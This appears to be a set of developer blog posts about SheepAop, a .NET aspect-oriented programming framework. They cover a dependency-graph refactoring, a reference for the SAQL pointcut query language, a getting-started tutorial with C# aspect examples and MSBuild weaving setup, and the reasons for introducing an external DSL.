   public object AroundTransactionalMethods(JoinPoint jp)
   {
      using(var tx = new Transaction())
      {
         var returnValue = jp.Execute();
         tx.Commit();

        foreach(var action in _nonTransactionalActions)
           action();
        return returnValue;
     }
   }
}

1. Documenting and posting blog articles.
   Writing has always been, and will forever be, astronomically tedious and majestically mind-numbing. There has been zero coding activity in SheepAop for a good couple of weeks now since I started the documentation work; and it’s still nowhere near finish.
   Writing is depressing, often suicidal. That’s a universal truth. But an open-source project is only as useful as how much people know how to use it. So this has to be done as my utmost priority before I embark on any further development effort.
2. Looking into all those NDepend inspection warnings and refactor accordingly. (I’ll blog about the whole process).
3. SAQL Query Analyzer.
   This would be a fantastic tool to get a visual understanding on SheepAop pointcuts and various SAQL expressions. It will help the learning curve, and ultimately the adoption of SheepAop. One small catch: I’m technically daft and aesthetically hopeless at GUI design.
4. CFlow pointcuts. Ability to use the control-flows of the program as part of your pointcut expressions. (e.g.: The pointcut of a dirty-tracking aspect should not match property-settings called from within the control flow of the object constructor). Based on AspectJ feature with the same name.
5. Working on a few pointcut types, SAQL criteria, and aspect-lifecycles that are currently unimplemented (most importantly: the Constructor and Instantiation pointcuts)
6. Add features to help unit-testing
7. Support “ImplementInterface” advice
8. Support “Mixin” advice

Quite a fat pipeline ahead. It will keep me busy for at least the next couple of months.

Dependency Graph

The very first thing I did was to check the dependency graph to get an overall understanding about the structure of the code. To my surprise, the dependencies did not immediately look quite as obvious as the picture I had in my head.

A large part of the graph still fits very well with what I expected:

1. There are some helper-classes and exceptions down at the bottom, which contain general-purpose classes that help streamline our contact with the outside world (.net collections, mono-cecil, etc). These helpers are common and should be completely agnostic to anything SheepAop, which is confirmed by this graph: there’s no line coming out from these modules.
2. SheepAop.Aspects contains a set of out-of-the-box sample implementations of SheepAop aspects. They’re not part of the framework, so I don’t expect to see anything SheepAop to reference it. The graph agrees.
3. SAQL is a DSL layer on top of SheepAop API. The core machinery of SheepAop should be completely agnostic of SAQL. The graph looks fine: all Saql namespaces appear to be left alone by the rest of the town.
4. SheepAop is designed so that making new Advice implementations should be easy because it’s the one part in SheepAop that will change (and be added) the most. For that reason, all advice classes should be external to the core so that it’s easy to plug new ones. The graph seems to agree with that. There are currently only 2 advices in SheepAop: AroundAdvice and LifecycleAdvice, and the graph shows no arrow pointing to that direction. (Except the unexpected arrow from Pointcuts to AroundAdvising, which we’ll explore below).

Potential Problems

There are, however, few things that I was not categorically pleased. I’ll list them all as a note for now, even though I’m not sure whether or not they turn out to be code-smells. But we will investigate each one of them later on.

1. I was surprised to see how much SheepAop.Compile namespace assumes such a central role in the whole architecture. Its responsibility is supposed to be limited to the compilation part of SheepAop. It should depend on other SheepAop components to do this task, but conversely the other components should NOT have much interest in the compilation business. The graph, however, shows that almost every part of SheepAop depends on the compiler, which doesn’t seem right.
2. As mentioned above (in point#4), SheepAop Advice classes should be pluggable modules that adding new ones should be cheap and easy. I’m quite curious about why SheepAop.Pointcuts namespace has any hard reference to AroundAdvice.
3. I also did not expect to see SheepAop.Core to depend on the Runtime component and Attributes. Attributes is supposed to provide users with a friendly interface to interact with the core SheepAop API. What’re the attributes possibly doing that makes them so critical even the core engine has to depend on it?
4. Like Advices, Lifecycles needs to be a pluggable thing so that it’s easy to add new ones (I’m still developing some as we speak), as well as for users to make their own custom Lifecycles to be plugged to SheepAop. I was hoping not to see any hard reference from the Core to Lifecycles if I can help it. We’ll see what we can do.
5. (After the first refactoring below) We have cyclic dependencies between Core<->Pointcut. We’ll investigate this. Probably Pointcut should really be part of the Core, considering how central the role it plays in SheepAop.

Investigation

Let’s now investigate each of them. I’ll start from the first one.

1. Everything -> SheepAop.Compiler

There are currently several dependencies toward the compiler which we want to get rid of. I’ll start with the most worrying one: the circular dependency between the Compiler and the Core.

The one I need to look out for is the reference INTO the Compiler (greens and blacks). The answer seems quite obvious here: AdviceBase and AspectDefinition are defined as Compiler components. They are not. They have little to do with compilation. Let’s try moving these classes into the Core namespace. If they are indeed part of the Compiler, there will appear even more dependencies toward the Compiler coming from these classes. I’ll also need to bring along IAdvice and IWeaver since they are depended upon. So let’s try and refactor this.

Great! The dependencies are now heading to one direction. All the unit-tests still pass. So this one is sorted. Let’s take a look on our next dependency on the Compiler.

Wait, they’re all gone!

No more circular dependency on the Compile components (orange). It turns out that those 4 classes we just refactored were the culprit of all the heavy dependencies on the Compiler. As shown by the green blocks, the only components that now depend on our Compiler are our 2 Advices: AroundAdvice and LifecycleAdvice. That sounds perfectly correct. And the picture is starting to take its shape.

2. Pointcuts -> AroundAdvising

We want all Advices (AroundAdvice in this case) to be decoupled from the framework because it’s one part in SheepAop that will change (and added) the most, so it has to be easy to plug new Advices.

Same deal, I click on the line between Pointcuts and AroundAdvising to view the matrix. (It’s quite a tall picture so I cut out the irrelevant bits).

The green squares are the ones that shouldn’t be there. I wonder what they are. Let’s check the first one: PropertyPointcut.

That’s a method I found in the class. That’s a leftover method I inherit from the old version of SheepAop infrastructure (when Advice was still tightly coupled to the system). I don’t think they still contribute to the new SheepAop infrastructure. I checked the other green squares and they all seem to have the same garbage leftovers. Let’s get rid of them and run the unit-tests to make sure it doesn’t break anything.

Great, all the greens are cleared. All unit-tests still pass.

Now AroundAdvice is completely decoupled from SheepAop. The graph (centered on AroundAdvising) shows no green, meaning that there’s nothing in the whole SheepAop that depends on it (except our public Attributes). So this has been another success.

3.A SheepAop.Core <-> SheepAop.Runtime

There are several components that SheepAop.Core is dependent on, which it shouldn’t. Let’s start with the Runtime namespace. SheepAop Core should not depend on its Runtime components.

The green ones should not be there. It seems that they are all pointing to 2 method delegates (AdviceInvoker and AdviceCallback at the top), all of which are coming from Joinpoint classes. It makes me feel that those 2 delegates are integral parts of SheepAop Joinpoint system. Maybe I should put them together with the Joinpoint. In fact, I start to feel that these objects warrant their own separate namespace ( “Joinpoint”, instead of piggybacking the “Core” namespace). But first thing first.

Great. Now let’s split all those Joinpoint classes to a separate namespace, and hope that the resulting namespaces won’t cause cyclic dependencies.

Wow, this is unexpected. Not only that Core and Joinpoint did not end up in a cyclic dependency, there is in fact no dependency at all between them! They are both unrelated. It really was, after all, a good decision to split them to separate namespaces. But now it makes me wonder about the name. What’s with the name “SheepAop.Core.Joinpoint” if it’s not related to the Core? Since Runtime is the biggest dependent of this namespace, I think I should merge it with Runtime. After all, a join-point is a SheepAop representation model to describe runtime snapshots. Ironically, it turns out that the 2 delegates we pulled out of Runtime namespace were actually at the right place after all.

OK, we’re good. Let’s move on.

3.B SheepAop.Core <-> SheepAop.Attributes

As explained at the start of this post, Attributes is a facade API for users to interact with SheepAop framework, and it should sit right at the edge, together with SAQL. So why does the Core depend on it?

Aha, a black one. SingletonAttribute extends LifecycleAttributeBase, but LifecycleAttributeBase has a static CurrentInstance that defaults to SingletonAttribute. A cyclic.

Generally I have no problem with this kind of cyclic dependency because it does not indicate a code smell. But in this particular case, LifecycleAttributeBase needs to be refactored anyway into an ILifecycleProvider interface which will fit better as a Core component. In general, attributes are intended to be used as user API. Doesn’t feel right to see it as a part of the Core engine. So yeah, I’ll refactor this, and hope that it will also solve the circular dependency.

It does. That was quite a big refactoring, but all the unit-tests still pass, so we’re good. We’re now on a much better state with this refactoring.
As shown by the green blocks, the only component that knows anything about SheepAop Attributes (orange) is now only the Compiler, which sounds fantastically correct. (SheepAop.Aspects, as mentioned earlier, is just a sample implementation of SheepAop. So just ignore it, it’s not part of the framework).

Notice that our refactoring has also cleared the cyclic dependency between the Core and Lifecycle, so we just unconsciously solved the first half of task#4.

4.A Sheep.Core.Lifecycle <-> Sheep.Core

(Done)

4.B Sheep.Aop.Lifecycle <-> SheepAop.Runtime

To reiterate, we want Lifecycle to be decoupled from the framework so that it’s easy to introduce new ones (which are being developed as we speak), and for users to add their custom ones.

Ah this one is easy. IMayHaveAspect is a very specific spare-part of the PerThis lifecycle, so it should really belong in the Lifecycle namespace. So let’s move it.

Ah looks much better now.

5. SheepAop.Core <-> SheepAop.Pointcuts

I have a strong feeling that Pointcut should be merged into the Core. But let’s see.

Ah it looks like the Core only knows Pointcut by IPointcut interface and PointcutBase. I think I can move IPointcut to be part of the Core, and refactor the reference to PointcutBase to use the interface instead. (It’s generally a good idea to program against interfaces anyway).

Sweet. The cyclic traffic is gone, and the dependency becomes unidirectional: SheepAop.Pointcut –> SheepAop.Core, which feels quite right. So this is our final result:

Now we can see no more direct cyclic dependency in our code. But I can’t convincingly tell whether there is any indirect circular dependencies in the graph.
The graph is messy. Now that the relationships between the components have changed substantially, I think we should rearrange our graph to better reflect the new shape of our architecture. (I’ll also hide helper classes and exceptions from the graph).

The modules are now arranged so that all dependencies flow from top to bottom. The structure of the architecture is now very visible from the graph. As you can see, all arrows are pointing downwards. Or in simple terms: there is no possible circular dependency between our modules, directly or indirectly.

Next Step

I think that’s it for today, I’m calling it a night. We have achieved quite a good result so far. Tomorrow (or whenever I got time), I will continue the review with NDepend Metrics and CQL code-inspections. I can see some warnings already on my NDepend panels indicating some problems detected by NDepend code-inspector. But I’m too tired for the day, so I’ll spare that for the next post.

All refactored code has been checked back in to the SheepAop repository. You can check it out if you want to explore the result of today’s refactoring.

1. Getting Started with SheepAOP
2. Pointcuts and SAQL Basics
3. Aspects Lifecycles & Instantiations
4. Integrating with IoC containers
5. Aspects Inheritance & Polymorphism
6. Attributive Aspects (ala PostSharp)
7. Unit-testing your aspects

This post is based on SheepAop Preview 1.1.

This Post

This post will serve primarily more as a reference material than a blog post or a bed-time reading consumption. In fact, a substantial portion of this post will quickly find its way to the SheepAop project documentation/wiki pages any time soon.

Pointcuts

We have covered this one quite briefly in the previous post.
Pointcut is an aspect-oriented mechanism to pick out join-points (e.g. method calls, properties, field access, instantiations) from your program code using some sort of query language.

The following is an example of how we define a pointcut to pick out all methods in Sheep.EmailService class:

[Aspect]
public class MyAspect
{
   [SelectMethods("Public & InType: 'Sheep.EmailService'")]
   public void MyPointcut(){}
}

Member Pointcut vs Call Pointcut

There are several types of pointcut in SheepAop, but they all generally fall into 2 categories: member-pointcut and call-pointcut.

Member-pointcuts (aka “Execution” pointcuts in AspectJ) pick out the structural elements of your program. For example your actual classes, methods, properties, fields, etc.
In the other hand, call-pointcuts (likewise “Call” pointcuts in AspectJ) pick out specific lines of instruction within the body of your program code.

An easy way to understand the difference is to take method-pointcut (a member pointcut) and a call-method-pointcut (a method pointcut) as an example.
When you apply an advice to a method-pointcut, you are weaving around the body of the targetted metod itself.
Whereas with a call-method-pointcut, you will be weaving every specific line in your code body that is found to be making a call to the targeted method.

Member Pointcuts

The following are the types of Member Pointcuts available in SheepAop:

*) Not supported yet in the current release version of SheepAop
**) advices that are currently supported. The number might grow in the future

Call Pointcuts

In contrast to Member Pointcuts, which pick out structural element of your program, Call Pointcuts pick out specific line of instruction from within your program code.

There are different kinds of Call Pointcut recognizable by SheepAOP:

*) Not supported yet in the current release version of SheepAop
**) Advices that are currently supported. There might be more introduced in the future

SAQL

All pointcuts in SheepAop are expressed using a language called SAQL. Generally, there are 2 different types of SAQL syntax: literal-expression, and criteria-expression.

• Literal Expression
  This is the simpler form of SAQL syntax, which looks and feels a lot like the pointcut language in AspectJ. I.e., it uses mainly member signatures and wildcards.
  Syntax: a single-quoted string

  'expression'

  Here are few examples:

  [SelectMethods("'System.Int32 System.String::IndexOf(System.Char, System.Int32)'")]
  [SelectMethods("'* System.*::???Of*(*, System.*)'")]
  [SelectTypes("'Sheep*.Domain.*.???Customer'")]
  

  See below for the literal format for each type of pointcut.
  Note: further development is underway to enhance the current SAQL literal-expression to follow a smarter DSL syntax, rather than the current implementation using the raw power of  wildcard string comparison.

• Criteria ExpressionThis is a richer way to do complex queries that are not possible using simple AspectJ syntax. It allows us to describe conditions based on certain criteria-set supported by each type of pointcuts.
  Syntax:

  criteria

  … for unary criteria (taking no argument, e.g. Public, Static, HasGetter), or…

  criteria: argument

  … for binary criteria (taking an argument, e.g. Name:’*Repository’), or..
  Some examples:

  [SelectMethods("'Public & Name:'???CustomersBy*' & InType:Implements:Name:'*Repository'")]
  [SelectFields("(!Static & 'System.Int32 Sheep.*::_count') | (Static & Name: '*Count')")]
  [SelectProperties("((Static & Public) || (!Public & Virtual) & InType: (Implements:'Sheep.IRepository' | Inherits: 'Sheep.DataContext')")]
  

  Each type of pointcut has different set of supported criteria, which are all covered below.

Literal and Criteria expressions are not mutually exclusive. In fact, it is very common to mix both syntices within the same SAQL statement. For instance, take a look at lines #2 and #3 of the last example on Criteria Expression above. There are several literal-expressions embedded within the criteria (which are: ‘System.Int32 Sheep.*::_count’, ’Sheep.IRepository’, and ’Sheep.DataContext’ respectively).

Type Pointcut

Type-Pointcut Literal Format

In general, all literal-formats in SheepAop simply follows the standard qualified naming format in .Net framework. It hardly takes an inspired guess to work out the literal-format for ShepAop Type pointcut, which simply follows the naming format of .Net types.
Examples:

• ‘System.Collections.Generics.IList`1′
• ‘Sheep.OuterClass+NestedType’
• ‘System.String[]‘

Likewise any other literal expression, you can use ‘*’ and ‘?’ wildcards to match any string and any character respectively.

Type Pointcut Criteria

Tips: The names of SheepAop criteria follow a convention designed to describe the type of their arguments. E.g.: ImplementsType (takes a Type argument), HasMethod (takes a Method argument). This is to aid readability, and ultimately to prevent SAQL from becoming a write-only language like Regex.

Method Pointcut

Method-Pointcut Literal Format

Likewise Type-Pointcut, the literal-format for Method Pointcut simply follows the standard fully-qualified naming format of .net methods.
Examples:

• ‘System.Int32 System.String::IndexOf(System.Char, System.Int32)’
• ‘Sheep.OuterClass`1+NestedType::SomeMethod(System.String, System.Boolean[])’
• ‘System.Int32 System.Object[]::SetValue()’

And of course, you can use ‘*’ and ‘?’ wildcards.

Method Pointcut Criteria

Property Pointcut

Property-Pointcut Literal Format

The literal-format of a Property Pointcut is exactly the same as that of a Method Pointcut.
Examples:

• ‘System.Int32 System.Collections.IList`1::Count()’
• ‘Sheep.OuterClass`1+NestedType::SomeProperty()’
• ‘System.Int32 System.Object[]::Length()’

Yep, you guessed it, you can still use your good old ‘*’ and ‘?’ wildcards.

Property Pointcut Criteria

Property Gets and Property Sets Pointcuts

Exactly the same as Property Pointcut, except that these pointcuts will pick out only the property getters and property setters respectively.

Field Pointcut

Field-Pointcut Literal Format

The literal-format of a Field Pointcut is quite similar to that of a Property Pointcut, minus the brackets.
Examples:

• ‘System.Int32 System.Collections.IList`1::_items’
• ‘Sheep.Web.ModelBinder::Instance’
• ‘Sheep.Product::_price’

Same deal, ‘*’ and ‘?’ wildcards are your friends.

Field-Pointcut Criteria

Constructor Pointcut

(Not implemented yet in the current version of SheepAop, but will be very similar to Method Pointcuts in almost every respect).

About Call Pointcuts

Ok, time for a good tip. All call-pointcuts basically look the same. Each call-pointcut has a set of criteria “FromMethod”/”FromProperty” etc that represents the method where the line of call-instruction is found in its body. The other criteria represents what’s being called (e.g. a method, a field, a constructor, etc).

Literal expression is not available in any call pointcut by itself. But you can still use literal-expression to pick out the element of the call. For instance, the following pointcut …

SelectCallMethods[("Method: 'System.Int32 System.String::IndexOf(*)' & FromMethod:Type:'Sheep.StringHelper'")]
public void StringHelper_Calling_StringIndexOf(){}

… will pick out any call to String.IndexOf(*) methods made from any method body within the StringHelper class.

Call Methods Pointcut

Criteria

Get Fields Pointcut

Criteria

Set Fields Pointcut

Criteria

(Exacly the same as Set Fields Pointcut, except that it will pick out the act of setting a field, not getting one).

Get-Properties Pointcut

(Not implemented yet in the current release of SheepAop, although it’s quite trivial)

Criteria

Set Properties Pointcut

Criteria

(Exacly the same as Set Properties Pointcut, except that it will pick out the act of getting a property, not setting one).

Instantiation Pointcut

(Not implemented yet in the current release of SheepAop)

Criteria

And/Or

You can apply And and Or operations on literal-expressions, criteria, and the mix of them both. You use ‘&’ and ‘|’ operators, or alternatively ‘&&’ and ‘||’, which make no difference whatsoever apart from to satisfy your geeky obsession.
We have used And and Or quite a bit in our exhaustive list of examples above. But another example doesn’t hurt. We’ll mix a combination of literal-expression and criteria:

[SelectType("'System.Collections.ArrayList' | 'System.Array' | (ImplementsType: 'System.Collections.IEnumerable' & !Abstract & Namespace:'Sheep')")]
public void MyPointcut(){}

Negation

The operator you’re looking for here is ‘!’. Examples:

[SelectTypes("!Abstract")] // Self explanatory
[SelectTypes("!ImplementsType:'System.Collections.IEnumerable'")] // Does not implement IEnumerable
[SelectTypes("ImplementsType:!'System.Collections.IEnumerable'")] // Implements any interface that is not IEnumerable

Reference

A pointcut can be built out of other pointcuts. You can reference another pointcut using its name by using an operator similar to Razor’s: @pointcutName. For example:

[SelectMethods("Public & Name:('Get*'| 'List*') & InType:@Repositories")]
public void RepositoryQueriesPointcut(){}

[SelectMethods("Public & Name:('Update*') & InType:@Repositories")]
public void RepositoryUpdatesPointcut(){}

[SelectTypes("ImplementsType:'Sheep.Data.IRepository`1'")]
[SelectTypes("InheritsType:'Sheep.Data.DataService'")]
public void Repositories(){}

Array

Certain criteria requires multiple values, such as the Args criteria of Method Pointcut. You define array by using a ‘,’ operator. For instance:

[SelectMethods("Name: 'IndexOf' & Args: 'System.Char', 'System.Int32'")] //You can also give it a bracket if it makes you feel happier inside

Group

Nothing special, just grouping stuff together using parentheses operators to give precedence to a certain clause within an And/Or, Negation or Criteria statement. See below for the default order of precedence. Before that

[SelectMethods(
        @"Name: ('Count*'|'*Length')
        & InType:(!Abstract & Implements:(Name:'*Service' & Namespace:'Sheep.Domain'))
        & ReturnType: ('System.Int32' | 'System.Decimal')")]
public void CountMethods(){}

Order of Precedence

The order of precedence in SAQL operators follows the standard precedence in common programming languages. For completeness sake, the order is as follows, from the highest precedence to the lowest:

1. ‘literal value’
2. @pointcutRef
3. (parentheses)
4. criteria: argument
5. !negation
6. array, array, array
7. and & or |

Summary

This post has documented the basic mechanic of SheepAop pointcut model and various SAQL syntax and criteria, which hopefully will come in handy as a reference manual to help you in writing your first SAQL queries. I plan to make a standalone SAQL Query-Analyzer tool that will allow you to instantly type in any SAQL query and execute it to immediately view the resulting join-points it picks out from your target assemblies. That would be a fabulous learning ground to try out various SAQL syntax and check the results immediately.

The next post will discuss about the practical use of SheepAop Aspects Lifecycle, where I hope we’ll finally get a chance to explore some practical examples on aspect-oriented-programming, using Aspect Lifecycle feature in particular.

*) Not supported yet in the current release version of SheepAop

This post is based on the current build of SheepAOP Preview-Release 1 Preview Release 1.1

This Series

This is what I currently have in mind about things that I plan to cover in the next several posts:

1. Getting Started with SheepAOP
2. Pointcuts and SAQL Basics
3. Aspects Lifecycles & Instantiations
4. Integrating with IoC containers
5. Aspects Inheritance & Polymorphism
6. Attributive Aspects (ala PostSharp)
7. Unit-testing your aspects
8. Extending SheepAop

I’m going to skip the whole boring introduction speech on Aspect Orientation, and will assume you have at least some basic prior knowledge of AOP concepts and technologies. If you’re not familiar with AOP, there are countless articles around AspectJ in the information-superhighway that is the Internet, which I highly recommend as a fantastic resource to learn about the concept of AOP. Now let’s get started on SheepAOP.

Your First Aspect

In SheepAOP, an aspect is just a normal POCO class that you decorate with Aspect attribute. For example:

[Aspect]
public class TransactionAspect
{
}

Idioms

SheepAOP uses the same formal AOP idioms as it was coined over a decade ago, and popularized by the de-facto AOP framework of all time: AspectJ. The critical element in this AOP design is the join-point model.

A join-point is a well-defined point in the program flow. There are many different types of them, encompassing the actions of calling a method, instantiating a class, setting/getting a property, accessing/assigning a field, etc. On most other AOP frameworks for .net out there, such as PostSharp, you typically target these join-points by placing marker attributes around these join-points (e.g. methods/properties/fields/classes), so the framework will pick them up and weave with croscutting behaviors.

SheepAOP, in contrast, uses the well-known AOP mechanic to target your join-points. This mechanic is formally known as pointcut.

Pointcuts

Pointcut is an aspect-oriented-programming mechanic acting as a query-expression to pick out certain join-points in your program flow.

Simple Pointcut

The following is a SheepAop example to pick out each join-point that is an execution of a method that has the signature void MyNamespace.MyService.GetCustomer(int):

[SelectMethods("'void MyNamespace.MyService::GetCustomer(System.Int32)'"]
public void MyPointcut(){}

The language you use to define pointcuts in SheepAOP is called SAQL (SheepAop Query Language), which will be covered in depth in the next post of the series.

More Complex Criteria

You can define vastly expressive pointcut queries using complex conditions. For example, the following pointcut will pick out “all public ‘GetXxx’ and ‘ListXxx’ methods within all classes that implement IRepository<T>“.

[SelectMethods("Public & Name:('Get*'| 'List*') & InType:Implements:'Sheep.Data.IRepository`1'")]
public void RepositoryQueriesPointcut(){}

That was a quick glimpse of SAQL that provides you an immensely rich pointcut model for expressing join-point queries that AspectJ can’t.

Pointcut Composition

A SheepAOP pointcut can contain a group of multiple query-expressions. It’s done by simply defining multiple Select Attributes, for example:

[SelectMethods("Public & Name:('Get*'| 'List*') & InType:Implements:'Sheep.Data.IRepository`1'")]
[SelectPropertyGet("Public & InType:Implements:'Sheep.Data.IRepository`1")]
public void RepositoryQueriesPointcut(){}

Note: Pointcut composition is not available yet in the current preview-release of SheepAop. Very simple to implement, but it’s a low priority feature. (Now supported)

Modularizing Pointcuts

A pointcut can be built out of other pointcuts, usually for modularity and reusability reasons. The SheepAop syntax to reference to another pointcut will look familiar to Razor users:  @pointcutName.
As an example, we will refactor the previous example, and additionally, we’ll also expand the pointcut to also pick out “all implementations of IDataService<T>” (in addition to IRepository<T>). And while we’re there, why not also add another pointcut to pick out all Update methods too.

[SelectMethods("Public & Name:('Get*'| 'List*') & InType:@Repositories")]
[SelectPropertyGet("Public & InType:Implements:@Repositories")]
public void RepositoryQueriesPointcut(){}

[SelectMethods("Public & Name:('Update*') & InType:@Repositories")]
public void RepositoryUpdatesPointcut(){}

[SelectTypes("Implements:'Sheep.Data.IRepository`1'")]
[SelectTypes("Implements:'Sheep.Data.IDataService`1'")]
public void Repositories(){}

(Tips: The “Repositories” pointcut above can actually be written more succinctly as follows:)

[SelectTypes("Implements:('Sheep.Data.IRepository`1' | 'Sheep.Data.IDataService`1')")]
public void Repositories(){}

Advice

So pointcuts pick out join-points, but they don’t do anything apart from picking out join-points. To actually implement crosscutting behavior, we use advice. Advice brings together a pointcut (to pick out join-points) and a body of code (to run at each of those join-points).

SheepAOP has several different kinds of advice (and still growing), but the most common one you’ll often find yourself using is the Around advice, which is an advice that runs as a join-point is reached, and has explicit control over whether the program proceeds with the join point execution. For example, let’s put an advice to log around our Queries and Updates pointcuts in our previous example.

[Around("RepositoryQueriesPointcut", "RepositoryUpdatesPointcut")]
public object LogQueriesAndUpdates(MethodJoinPoints jp)
{
   Console.WriteLine("Entering method {0} on object {1} with args {2}",
   jp.Method, jp.This, jp.Args);
   try
   {
      object result = jp.Execute();
      Console.WriteLine("Exits normally with return-value {0}", result);
      return result;
   }
   catch(Exception e)
   {
      Console.Writeln("Exits with exception: {0}", e);
      throw;
   }
}

Joinpoint.Execute() is a callback to your original join-point execution. Calling this method will transfer your advice to proceed with the original execution of your join-point.
But it doesn’t have to stay exactly original. You can alter the elements of this callback, such as changing the method arguments, or even changing the target instance of the method itself (i.e. the ‘this’ of the method), as shown in the following example:

[Around("MyPointcut")]
public object MyAdvice(MethodJoinPoints jp)
{
   jp.Args[0] = "My Replaced Value"; // Replacing 1st argument
   jp.Args[1] = 10*(int)jp.Args[1]; // Multiplying 2nd argument by 10
   jp.This = _anotherRepositoryInstance; // Redirecting the method call to another instance

   return jp.Execute(); // Executing the join-points using altered arguments and instance
}

Beyond Logging

Within an Around advice, you can do more than intercepting calls. You can alter completely the whole flow of the execution. For instance, you can quite easily make all your repository-query methods to only return a lazy-execution proxies, and therefore will defer your actual join-points execution only when the proxy gets triggered. (I.e., similar to Future-Query in NHibernate 3.0).

[Around("RepositoryQueriesPointcut")]
public object DeferQueries(MethodJoinPoints jp)
{
   return ProxyGenerator.CreateProxy(
   baseType: jp.Method.ReturnType,
   initTarget: ()=> jp.Execute());
}

Now all your query methods within all your repositories will return a proxy of their return-values. For instance, in the following example..

var customer = customerRepository.GetById(id);
// some other code doing some other thing
// eventually, it executes customer.FirstName
txtFirstName.Text = customer.FirstName;

… the repository method on #1 will NOT actually execute, not until later on when we trigger the property (FirstName) of the customer-proxy object on line #4, which will then execute your actual customerRepository.GetById() method and retrieve your actual customer object to fulfill the proxy.

Note: Why do we need this if we already have NHibernate’s future-query? Well, in cases where you’re not using NHibernate, or even an RDBMS at all. For instance: web-service, remote calls, I/O read, or costly calculations: anything that you want to avoid executing until when it’s really needed.
SheepAop offers an elegant solution to defer (as well as to cache) these costly executions, without adding unnecessary crosscutting noise to your actual program code, even within static methods)

Putting It All Together

Just to recap our logging-aspect example, the following is the complete code for our aspect.

[Aspect]
public class LoggingAspect
{
   [SelectMethods("Public & Name:('Get*'| 'List*') & InType:@Repositories")]
   [SelectPropertyGet("Public & InType:Implements:@Repositories")]
   public void RepositoryQueriesPointcut(){}

   [SelectMethods("Public & Name:('Update*') & InType:@Repositories")]
   public void RepositoryUpdatesPointcut(){}

   [SelectTypes("Implements:'Sheep.Data.IRepository`1'")]
   [SelectTypes("Implements:'Sheep.Data.IDataService`1'")]
   public void Repositories(){}

   [Around("RepositoryQueriesPointcut", "RepositoryUpdatesPointcut")]
   public object LogQueriesAndUpdates(MethodJoinPoints jp)
   {
      Console.WriteLine("Entering method {0} on object {1} with args {2}",
      jp.Method, jp.This, jp.Args);
      try
      {
         object result = jp.Execute();
         Console.WriteLine("Exits normally with return-value {0}", result);
         return result;
      }
      catch(Exception e)
      {
         Console.Writeln("Exits with exception: {0}", e);
         throw;
      }
   }
}

Setting Up

To enable SheepAOP compiler to weave your code automatically during compilation time, you will simply need to hook a post-compilation task within your .csproj file. If download SheepAOP into your project using NuGet (coming soon), everything will be set up automatically for you. There’s no additional step required.

However, if you’re to configure your SheepAOP manually (which is the case with the current preview-release), you need to perform the following steps:

1. Download SheepAOP binaries. This post is based on SheepAop Preview v0.1.1, downloadable at http://sheepaop.codeplex.com/releases/view/65923.
2. Copy all the binary files into a local folder. I recommend to check them in as part of your project’s version-control system.
3. Right-click on your project, then select ‘Unload Project’.
   
4. Right-click again on your (currently-unloaded) project and select ‘Edit xxx.csProj’.
   
5. Within your .csproj file, locate this line: “<Import Project=”$(MSBuildToolsPath)\Microsoft.CSharp.targets” />”. Right underneath, add the following lines:

   <PropertyGroup>
      <SheepAopLocation>$(MSBuildProjectDirectory)\Libs</SheepAopLocation>
   </PropertyGroup>
   <UsingTask TaskName="PostCompileWeaveTask" AssemblyFile="$(SheepAopLocation)\SheepAop.Tasks.dll" />
   <Target Name="AfterBuild">
      <PostCompileWeaveTask TargetFile="$(MSBuildProjectDirectory)\$(OutputPath)$(MSBuildProjectName).exe" SheepAopLocation="$(SheepAopLocation)" />
   </Target>
   

   Change the SheepAopLocation property accordingly depending on where you place your SheepAop binaries (on step#2). In this example, my SheepAop binaries is under Libs folder within my project.

6. Now right-click your project and select ‘Reload Project’. SheepAop is now hooked to your project. Now every time you build your project, SheepAop will automatically execute a post-compilation task to weave your aspects into your assemblies.

Summary

We have touched some of the basic features of SheepAOP. We have explored some standard AOP mechanics such as Aspects, Pointcuts, Join-Points, and Advices, and how they work in SheepAOP. We have built our first simple example of a SheepAop aspect, and finally hook it with the post-compilation task of your project. In the next article, we will explore more about the basics of SAQL syntax, and various types of pointcuts that SheepAOP supports.

Say hello to SheepAOP-Query-Language (hereafter referred to as ‘SAQL’), a new addition to SheepAOP, serving as the main language to query against your source-code for your SheepAOP pointcut definitions.

I know I said external-DSL would NOT be in my priority list, but the latest SheepAOP enhancement I was working on (outlined later) has made it strongly imperative that an external DSL needed to be brought onto the game, right now.

Initially, I took the path which follows the current trend in .Net libraries designs that have been increasingly moving away from external DSL in favor of lambda Fluent APIs. To name a few: NHibernate’s HQL taken over by NH2Linq, HBM by Fluent-NHibernate, Binsor by fluent-configuration, and I myself have also built lambda API in lieu of RhinoETL’s boo scripts. Lambda seems to be the new black. Therefore, at the beginning of SheepAOP project, it was very clear to me that Fluent lambda was the way to go about this whole AOP thing. With lambda API, I would get the intellisense and refactoring support from Visual-Studio, and I actively avoided the tedious effort of building an external DSL from scratch.

Over the weeks, I have been noticing few minor issues with lambda API that have been irritating me, albeit not to a point that bothers me enough to do anything about it.

1. Safety. SheepAOP weaving is done during compile-time whenever you build your project. I have not been particularly happy about the fact that SheepAOP compiler needed to execute your actual application (i.e. your configuration routines) during compilation, as opposed to reading only its metadata. If you’re not careful, you might accidentally (or deliberately) execute certain unintended code-blocks (from within your config routine) during compile time, which might be harmful to anyone merely opening the project in their Visual-Studios. It makes it way too easy to abuse.
2. File lock. Since your application are executed (by SheepAOP) during VisualStudio compilation, they would get loaded into your VS process, and will never get release (There’s no such thing in the .Net framework as “unloading” an assembly). It also means it will lock your output file, something you don’t want on an IDE. Spawning separate AppDomain normally solves this, but that doesn’t do the trick on VS custom-tasks for whatever reason. My current solution is to spawn a separate (console) process. Either way, lambda configuration makes communications difficult since they are not transmittable between AppDomains/processes. A plain DSL text-script, on the other hand, is.  Hence giving me a lot more flexibility in my approaches.
3. Verboseness. Lambda API introduces too much noise for the signal. We will see this in comparison shortly.

Those are 3 minor drawbacks that I could happily live with, rather than spending my effort on an external DSL that could be spent elsewhere. Plus I was reluctant to give up IDE intellisense with fluent API.
But as I worked on the next enhancements (covered below), it quickly became obvious that fluent API no longer finds its place in the system, and I came to a tough decision to ditch the whole thing, and started working on a brand new querying language.

SheepAOP Enhancements

After exploring several common patterns and use-cases frequently seen on other more mature AOP tools like AspectJ, and then reviewed the current (previous) implementation of SheepAOP, I determined that the old SheepAOP design wasn’t up for the job. A total rework had to be done. The 3 major features that inspired the rework, which have now been delivered on the new version of SheepAOP, are:

1. Aspect Lifecycle. This is a very important feature that single-handedly makes AOP useful in far broader sets of real-world problems. So far I have only seen this in AspectJ. I will post more elaborately on this one particular topic, but in essence, it allows you to determine the lifespan of your aspects, so you can maintain contextual states.
